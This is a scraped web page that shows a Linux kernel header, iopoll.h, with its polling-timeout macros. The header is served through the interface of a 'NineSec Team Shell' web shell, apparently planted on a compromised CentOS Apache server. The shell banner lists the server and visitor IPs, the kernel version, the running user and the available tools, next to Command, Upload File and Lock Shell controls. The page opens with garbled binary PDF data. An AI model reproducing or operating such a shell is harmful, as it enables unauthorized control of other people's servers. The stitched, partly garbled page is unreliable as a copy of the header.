%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.1.162
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/linux/iopoll.h
/*
 * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 and
 * only version 2 as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 */

#ifndef _LINUX_IOPOLL_H
#define _LINUX_IOPOLL_H

#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/hrtimer.h>
#include <linux/delay.h>
#include <linux/errno.h>
#include <linux/io.h>

/**
 * readx_poll_timeout - Periodically poll an address until a condition is met or a timeout occurs
 * @op: accessor function (takes @addr as its only argument)
 * @addr: Address to poll
 * @val: Variable to read the value into
 * @cond: Break condition (usually involving @val)
 * @sleep_us: Maximum time to sleep between reads in us (0
 *            tight-loops).  Should be less than ~20ms since usleep_range
 *            is used (see Documentation/timers/timers-howto.txt).
 * @timeout_us: Timeout in us, 0 means never timeout
 *
 * Returns 0 on success and -ETIMEDOUT upon a timeout. In either
 * case, the last read value at @addr is stored in @val. Must not
 * be called from atomic context if sleep_us or timeout_us are used.
 *
 * When available, you'll probably want to use one of the specialized
 * macros defined below rather than this macro directly.
 */
#define readx_poll_timeout(op, addr, val, cond, sleep_us, timeout_us)	\
({ \
	ktime_t timeout = ktime_add_us(ktime_get(), timeout_us); \
	might_sleep_if(sleep_us); \
	for (;;) { \
		(val) = op(addr); \
		if (cond) \
			break; \
		if (timeout_us && ktime_compare(ktime_get(), timeout) > 0) { \
			(val) = op(addr); \
			break; \
		} \
		if (sleep_us) \
			usleep_range((sleep_us >> 2) + 1, sleep_us); \
	} \
	(cond) ? 0 : -ETIMEDOUT; \
})

/**
 * readx_poll_timeout_atomic - Periodically poll an address until a condition is met or a timeout occurs
 * @op: accessor function (takes @addr as its only argument)
 * @addr: Address to poll
 * @val: Variable to read the value into
 * @cond: Break condition (usually involving @val)
 * @delay_us: Time to udelay between reads in us (0 tight-loops).  Should
 *            be less than ~10us since udelay is used (see
 *            Documentation/timers/timers-howto.txt).
 * @timeout_us: Timeout in us, 0 means never timeout
 *
 * Returns 0 on success and -ETIMEDOUT upon a timeout. In either
 * case, the last read value at @addr is stored in @val.
 *
 * When available, you'll probably want to use one of the specialized
 * macros defined below rather than this macro directly.
 */
#define readx_poll_timeout_atomic(op, addr, val, cond, delay_us, timeout_us) \
({ \
	ktime_t timeout = ktime_add_us(ktime_get(), timeout_us); \
	for (;;) { \
		(val) = op(addr); \
		if (cond) \
			break; \
		if (timeout_us && ktime_compare(ktime_get(), timeout) > 0) { \
			(val) = op(addr); \
			break; \
		} \
		if (delay_us) \
			udelay(delay_us);	\
	} \
	(cond) ? 0 : -ETIMEDOUT; \
})


#define readb_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readb, addr, val, cond, delay_us, timeout_us)

#define readb_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readb, addr, val, cond, delay_us, timeout_us)

#define readw_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readw, addr, val, cond, delay_us, timeout_us)

#define readw_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readw, addr, val, cond, delay_us, timeout_us)

#define readl_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readl, addr, val, cond, delay_us, timeout_us)

#define readl_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readl, addr, val, cond, delay_us, timeout_us)

#define readq_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readq, addr, val, cond, delay_us, timeout_us)

#define readq_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readq, addr, val, cond, delay_us, timeout_us)

#define readb_relaxed_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readb_relaxed, addr, val, cond, delay_us, timeout_us)

#define readb_relaxed_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readb_relaxed, addr, val, cond, delay_us, timeout_us)

#define readw_relaxed_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readw_relaxed, addr, val, cond, delay_us, timeout_us)

#define readw_relaxed_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readw_relaxed, addr, val, cond, delay_us, timeout_us)

#define readl_relaxed_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readl_relaxed, addr, val, cond, delay_us, timeout_us)

#define readl_relaxed_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readl_relaxed, addr, val, cond, delay_us, timeout_us)

#define readq_relaxed_poll_timeout(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout(readq_relaxed, addr, val, cond, delay_us, timeout_us)

#define readq_relaxed_poll_timeout_atomic(addr, val, cond, delay_us, timeout_us) \
	readx_poll_timeout_atomic(readq_relaxed, addr, val, cond, delay_us, timeout_us)

#endif /* _LINUX_IOPOLL_H */

NineSec Team - 2022